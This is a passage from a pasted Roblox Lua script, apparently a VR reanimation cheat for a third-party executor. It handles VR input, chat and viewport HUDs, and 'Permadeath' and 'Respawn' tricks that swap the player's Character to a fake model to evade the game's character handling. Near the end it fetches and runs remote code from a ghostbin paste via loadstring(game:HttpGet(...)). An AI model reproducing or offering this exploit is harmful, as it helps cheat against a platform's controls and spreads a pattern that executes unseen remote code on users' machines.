  740. })
  741. end
  742. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  743. Point1 = true
  744. end
  745. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  746. Point2 = true
  747. end
  748. if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then
  749. Character:BreakJoints()
  750. if RagdollEnabled and RagdollHeadMovement then
  751. Network:Unclaim()
  752. Respawn()
  753. end
  754. end
  755. end)
  756. local OnInputEnded = UserInputService.InputEnded:Connect(function(Input, Processed)
  757. if not Processed then
  758. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
  759. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
  760. CameraOffset = Vector3.new(0, StudsOffset, 0)
  761. })
  762. end
  763. end
  764. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  765. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
  766. WalkSpeed = 8
  767. })
  768. end
  769. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  770. Point1 = false
  771. end
  772. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  773. Point2 = false
  774. end
  775. end)
  776. --[[
  777. Proper Cleanup
  778. --]]
  779. local OnReset
  780. OnReset = Client.CharacterAdded:Connect(function()
  781. OnReset:Disconnect();
  782. CFrameChanged:Disconnect();
  783. OnStepped:Disconnect();
  784. OnRenderStepped:Disconnect();
  785. OnMoving:Disconnect();
  786. OnInput:Disconnect();
  787. OnInputEnded:Disconnect();
  788. VirtualRig:Destroy();
  789. VirtualBody:Destroy();
  790. if RagdollEnabled then
  791. Network:Unclaim();
  792. end
  793. if AutoRun then
  794. delay(2, function()
  795. Script()
  796. end)
  797. end
  798. end)
  799. if ChatEnabled then
  800. spawn(ChatHUDFunc)
  801. end
  802. if ViewportEnabled then
  803. spawn(ViewHUDFunc)
  804. end
  805. do
  806. --[[
  807. Functions
  808. --]]
  809. local Players = game:GetService("Players")
  810. local Client = Players.LocalPlayer
  811. local VRService = game:GetService("VRService")
  812. local VRReady = VRService.VREnabled
  813. local UserInputService = game:GetService("UserInputService")
  814. local RunService = game:GetService("RunService")
  815. local Camera = workspace.CurrentCamera
  816. --[[
  817. Code
  818. --]]
  819. if VRReady then
  820. local Pointer = game:GetObjects("rbxassetid://4476173280")[1]
  821. Pointer.Parent = workspace
  822. Pointer.Beam.Enabled = false
  823. Pointer.Target.ParticleEmitter.Enabled = false
  824. local RenderStepped = RunService.RenderStepped:Connect(function()
  825. if Pointer.Beam.Enabled then
  826. local RightHand = Camera.CFrame * VRService:GetUserCFrame(Enum.UserCFrame.RightHand)
  827. local Target = RightHand * CFrame.new(0, 0, -10)
  828. local Line = Ray.new(RightHand.p, (Target.p - RightHand.p).Unit * 128)
  829. local Part, Position = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character, Pointer})
  830. local Distance = (Position - RightHand.p).Magnitude
  831. Pointer.Target.Position = Vector3.new(0, 0, -Distance)
  832. Pointer.CFrame = RightHand
  833. end
  834. end)
  835. local Input = UserInputService.InputBegan:Connect(function(Input)
  836. if Input.KeyCode == Enum.KeyCode.ButtonB then
  837. Pointer.Beam.Enabled = not Pointer.Beam.Enabled
  838. Pointer.Target.ParticleEmitter.Enabled = not Pointer.Target.ParticleEmitter.Enabled
  839. end
  840. end)
  841. --
  842. local CharacterAdded
  843. CharacterAdded = Client.CharacterAdded:Connect(function()
  844. RenderStepped:Disconnect()
  845. Input:Disconnect()
  846. CharacterAdded:Disconnect()
  847. Pointer:Destroy()
  848. Pointer = nil
  849. end)
  850. else
  851. return
  852. end
  853. end
  854. end;
  855. Permadeath = function()
  856. local ch = game.Players.LocalPlayer.Character
  857. local prt=Instance.new("Model", workspace)
  858. local z1 = Instance.new("Part", prt)
  859. z1.Name="Torso"
  860. z1.CanCollide = false
  861. z1.Anchored = true
  862. local z2 =Instance.new("Part", prt)
  863. z2.Name="Head"
  864. z2.Anchored = true
  865. z2.CanCollide = false
  866. local z3 =Instance.new("Humanoid", prt)
  867. z3.Name="Humanoid"
  868. z1.Position = Vector3.new(0,9999,0)
  869. z2.Position = Vector3.new(0,9991,0)
  870. game.Players.LocalPlayer.Character=prt
  871. wait(5)
  872. warn("50%")
  873. game.Players.LocalPlayer.Character=ch
  874. wait(6)
  875. warn("100% Loaded Enjoy!")
  876. end;
  877. Respawn = function()
  878. local ch = game.Players.LocalPlayer.Character
  879. local prt=Instance.new("Model", workspace)
  880. local z1 = Instance.new("Part", prt)
  881. z1.Name="Torso"
  882. z1.CanCollide = false
  883. z1.Anchored = true
  884. local z2 =Instance.new("Part", prt)
  885. z2.Name="Head"
  886. z2.Anchored = true
  887. z2.CanCollide = false
  888. local z3 =Instance.new("Humanoid", prt)
  889. z3.Name="Humanoid"
  890. z1.Position = Vector3.new(0,9999,0)
  891. z2.Position = Vector3.new(0,9991,0)
  892. game.Players.LocalPlayer.Character=prt
  893. wait(5)
  894. game.Players.LocalPlayer.Character=ch
  895. end;
  896. ChatHUDFunc = function()
  897. --[[
  898. Variables
  899. --]]
  900. local UserInputService = game:GetService("UserInputService")
  901. local RunService = game:GetService("RunService")
  902. local VRService = game:GetService("VRService")
  903. local VRReady = VRService.VREnabled
  904. local Players = game:GetService("Players")
  905. local Client = Players.LocalPlayer
  906. local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]
  907. local GlobalFrame = ChatHUD.GlobalFrame
  908. local Template = GlobalFrame.Template
  909. local LocalFrame = ChatHUD.LocalFrame
  910. local Global = ChatHUD.Global
  911. local Local = ChatHUD.Local
  912. local Camera = workspace.CurrentCamera
  913. Template.Parent = nil
  914. ChatHUD.Parent = game:GetService("CoreGui")
  915. --[[
  916. Code
  917. --]]
  918. local Highlight = Global.Frame.BackgroundColor3
  919. local Deselected = Local.Frame.BackgroundColor3
  920. local OpenGlobalTab = function()
  921. Global.Frame.BackgroundColor3 = Highlight
  922. Local.Frame.BackgroundColor3 = Deselected
  923. Global.Font = Enum.Font.SourceSansBold
  924. Local.Font = Enum.Font.SourceSans
  925. GlobalFrame.Visible = true
  926. LocalFrame.Visible = false
  927. end
  928. local OpenLocalTab = function()
  929. Global.Frame.BackgroundColor3 = Deselected
  930. Local.Frame.BackgroundColor3 = Highlight
  931. Global.Font = Enum.Font.SourceSans
  932. Local.Font = Enum.Font.SourceSansBold
  933. GlobalFrame.Visible = false
  934. LocalFrame.Visible = true
  935. end
  936. Global.MouseButton1Down:Connect(OpenGlobalTab)
  937. Local.MouseButton1Down:Connect(OpenLocalTab)
  938. Global.MouseButton1Click:Connect(OpenGlobalTab)
  939. Local.MouseButton1Click:Connect(OpenLocalTab)
  940. OpenLocalTab()
  941. --
  942. local function GetPlayerDistance(Sender)
  943. if Sender.Character and Sender.Character:FindFirstChild("Head") then
  944. return math.floor((Sender.Character.Head.Position - Camera:GetRenderCFrame().p).Magnitude + 0.5)
  945. end
  946. end
  947. local function NewGlobal(Message, Sender, Color)
  948. local Frame = Template:Clone()
  949. Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)
  950. Frame.User.Text = ("[%s]:"):format(Sender.Name)
  951. Frame.User.TextColor3 = Color
  952. Frame.BackgroundColor3 = Color
  953. Frame.Parent = GlobalFrame
  954. delay(60, function()
  955. Frame:Destroy()
  956. end)
  957. end
  958. local function NewLocal(Message, Sender, Color, Dist)
  959. local Frame = Template:Clone()
  960. Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist), Sender.Name, Message)
  961. Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist), Sender.Name)
  962. Frame.User.TextColor3 = Color
  963. Frame.BackgroundColor3 = Color
  964. Frame.Parent = LocalFrame
  965. delay(60, function()
  966. Frame:Destroy()
  967. end)
  968. end
  969. local function OnNewChat(Message, Sender, Color)
  970. if not ChatHUD or not ChatHUD.Parent then return end
  971. NewGlobal(Message, Sender, Color)
  972. local Distance = GetPlayerDistance(Sender)
  973. if Distance and Distance <= ChatLocalRange then
  974. NewLocal(Message, Sender, Color, Distance)
  975. end
  976. end
  977. local function OnPlayerAdded(Player)
  978. if not ChatHUD or not ChatHUD.Parent then return end
  979. local Color = BrickColor.Random().Color
  980. Player.Chatted:Connect(function(Message)
  981. OnNewChat(Message, Player, Color)
  982. end)
  983. end
  984. Players.PlayerAdded:Connect(OnPlayerAdded)
  985. for _, Player in pairs(Players:GetPlayers()) do
  986. OnPlayerAdded(Player)
  987. end
  988. --
  989. local ChatPart = ChatHUD.Part
  990. ChatHUD.Adornee = ChatPart
  991. if VRReady then
  992. ChatHUD.Parent = game:GetService("CoreGui")
  993. ChatHUD.Enabled = true
  994. ChatHUD.AlwaysOnTop = true
  995. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
  996. if not Processed then
  997. if Input.KeyCode == Enum.KeyCode.ButtonX then
  998. ChatHUD.Enabled = not ChatHUD.Enabled
  999. end
  1000. end
  1001. end)
  1002. local RenderStepped = RunService.RenderStepped:Connect(function()
  1003. local LeftHand = VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)
  1004. ChatPart.CFrame = Camera.CFrame * LeftHand
  1005. end)
  1006. local CharacterAdded
  1007. CharacterAdded = Client.CharacterAdded:Connect(function()
  1008. OnInput:Disconnect()
  1009. RenderStepped:Disconnect()
  1010. CharacterAdded:Disconnect()
  1011. ChatHUD:Destroy()
  1012. ChatHUD = nil
  1013. end)
  1014. end
  1015. wait(9e9)
  1016. end;
  1017. ViewHUDFunc = function()
  1018. --[[
  1019. Variables
  1020. --]]
  1021. local ViewportRange = ViewportRange or 32
  1022. local UserInputService = game:GetService("UserInputService")
  1023. local RunService = game:GetService("RunService")
  1024. local VRService = game:GetService("VRService")
  1025. local VRReady = VRService.VREnabled
  1026. local Players = game:GetService("Players")
  1027. local Client = Players.LocalPlayer
  1028. local Mouse = Client:GetMouse()
  1029. local Camera = workspace.CurrentCamera
  1030. local CameraPort = Camera.CFrame
  1031. local ViewHUD = script:FindFirstChild("ViewHUD") or game:GetObjects("rbxassetid://4480405425")[1]
  1032. local Viewport = ViewHUD.Viewport
  1033. local Viewcam = Instance.new("Camera")
  1034. local ViewPart = ViewHUD.Part
  1035. ViewHUD.Parent = game:GetService("CoreGui")
  1036. Viewcam.Parent = Viewport
  1037. Viewcam.CameraType = Enum.CameraType.Scriptable
  1038. Viewport.CurrentCamera = Viewcam
  1039. Viewport.BackgroundTransparency = 1
  1040. --[[
  1041. Code
  1042. --]]
  1043. local function Clone(Character)
  1044. local Arc = Character.Archivable
  1045. local Clone;
  1046. Character.Archivable = true
  1047. Clone = Character:Clone()
  1048. Character.Archivable = Arc
  1049. return Clone
  1050. end
  1051. local function GetPart(Name, Parent, Descendants)
  1052. for i = 1, #Descendants do
  1053. local Part = Descendants[i]
  1054. if Part.Name == Name and Part.Parent.Name == Parent then
  1055. return Part
  1056. end
  1057. end
  1058. end
  1059. local function OnPlayerAdded(Player)
  1060. if not ViewHUD or not ViewHUD.Parent then return end
  1061. local function CharacterAdded(Character)
  1062. if not ViewHUD or not ViewHUD.Parent then return end
  1063. Character:WaitForChild("Head")
  1064. Character:WaitForChild("Humanoid")
  1065. wait(3)
  1066. local FakeChar = Clone(Character)
  1067. local Root = FakeChar:FindFirstChild("HumanoidRootPart") or FakeChar:FindFirstChild("Head")
  1068. local RenderConnection;
  1069. local Descendants = FakeChar:GetDescendants()
  1070. local RealDescendants = Character:GetDescendants()
  1071. local Correspondents = {};
  1072. FakeChar.Humanoid.DisplayDistanceType = "None"
  1073. for i = 1, #Descendants do
  1074. local Part = Descendants[i]
  1075. local Real = Part:IsA("BasePart") and GetPart(Part.Name, Part.Parent.Name, RealDescendants)
  1076. if Part:IsA("BasePart") and Real then
  1077. Part.Anchored = true
  1078. Part:BreakJoints()
  1079. if Part.Parent:IsA("Accessory") then
  1080. Part.Transparency = 0
  1081. end
  1082. table.insert(Correspondents, {Part, Real})
  1083. end
  1084. end
  1085. RenderConnection = RunService.RenderStepped:Connect(function()
  1086. if not Character or not Character.Parent then
  1087. RenderConnection:Disconnect()
  1088. FakeChar:Destroy()
  1089. return
  1090. end
  1091. if (Root and (Root.Position - Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then
  1092. for i = 1, #Correspondents do
  1093. local Part, Real = unpack(Correspondents[i])
  1094. if Part and Real and Part.Parent and Real.Parent then
  1095. Part.CFrame = Real.CFrame
  1096. elseif Part.Parent and not Real.Parent then
  1097. Part:Destroy()
  1098. end
  1099. end
  1100. end
  1101. end)
  1102. FakeChar.Parent = Viewcam
  1103. end
  1104. Player.CharacterAdded:Connect(CharacterAdded)
  1105. if Player.Character then
  1106. spawn(function()
  1107. CharacterAdded(Player.Character)
  1108. end)
  1109. end
  1110. end
  1111. local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)
  1112. for _, Player in pairs(Players:GetPlayers()) do
  1113. OnPlayerAdded(Player)
  1114. end
  1115. ViewPart.Size = Vector3.new()
  1116. if VRReady then
  1117. Viewport.Position = UDim2.new(.62, 0, .89, 0)
  1118. Viewport.Size = UDim2.new(.3, 0, .3, 0)
  1119. Viewport.AnchorPoint = Vector2.new(.5, 1)
  1120. else
  1121. Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)
  1122. end
  1123. local RenderStepped = RunService.RenderStepped:Connect(function()
  1124. local Render = Camera.CFrame
  1125. local Scale = Camera.ViewportSize
  1126. if VRReady then
  1127. Render = Render * VRService:GetUserCFrame(Enum.UserCFrame.Head)
  1128. end
  1129. CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0), Render.p)
  1130. Viewport.Camera.CFrame = CameraPort
  1131. ViewPart.CFrame = Render * CFrame.new(0, 0, -16)
  1132. ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)
  1133. end)
  1134. --
  1135. local CharacterAdded
  1136. CharacterAdded = Client.CharacterAdded:Connect(function()
  1137. RenderStepped:Disconnect()
  1138. CharacterAdded:Disconnect()
  1139. PlayerAdded:Disconnect()
  1140. ViewHUD:Destroy()
  1141. ViewHUD = nil
  1142. end)
  1143. wait(9e9)
  1144. end;
  1145. Script()
  1146. wait(2)
  1147. local Players = game:GetService("Players")
  1148. local lp = Players.LocalPlayer
  1149. local character = lp.Character
  1150. local A0LL = Instance.new("Attachment", character["Left Leg"])
  1151. A0LL.Position = Vector3.new(0, 1, 0)
  1152. local A1LL = Instance.new("Attachment", character["Torso"])
  1153. A1LL.Position = Vector3.new(-0.5, -1, 0)
  1154. local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])
  1155. socket1.Attachment0 = A0LL
  1156. socket1.Attachment1 = A1LL
  1157. local A0RL = Instance.new("Attachment", character["Right Leg"])
  1158. A0RL.Position = Vector3.new(0, 1, 0)
  1159. local A1RL = Instance.new("Attachment", character["Torso"])
  1160. A1RL.Position = Vector3.new(0.5, -1, 0)
  1161. local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])
  1162. socket2.Attachment0 = A0RL
  1163. socket2.Attachment1 = A1RL
  1164. local A0H = Instance.new("Attachment", character["Head"])
  1165. A0H.Position = Vector3.new(0, -0.5, 0)
  1166. local A1H = Instance.new("Attachment", character["Torso"])
  1167. A1H.Position = Vector3.new(0, 1, 0)
  1168. local socket5 = Instance.new("BallSocketConstraint", character["Head"])
  1169. socket5.Attachment0 = A0H
  1170. socket5.Attachment1 = A1H
  1171. loadstring(game:HttpGet("https://ghostbin.co/paste/krmyf/raw",true))()
  1172. -----------------------------------------------------------
  1173. wait(9e9)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement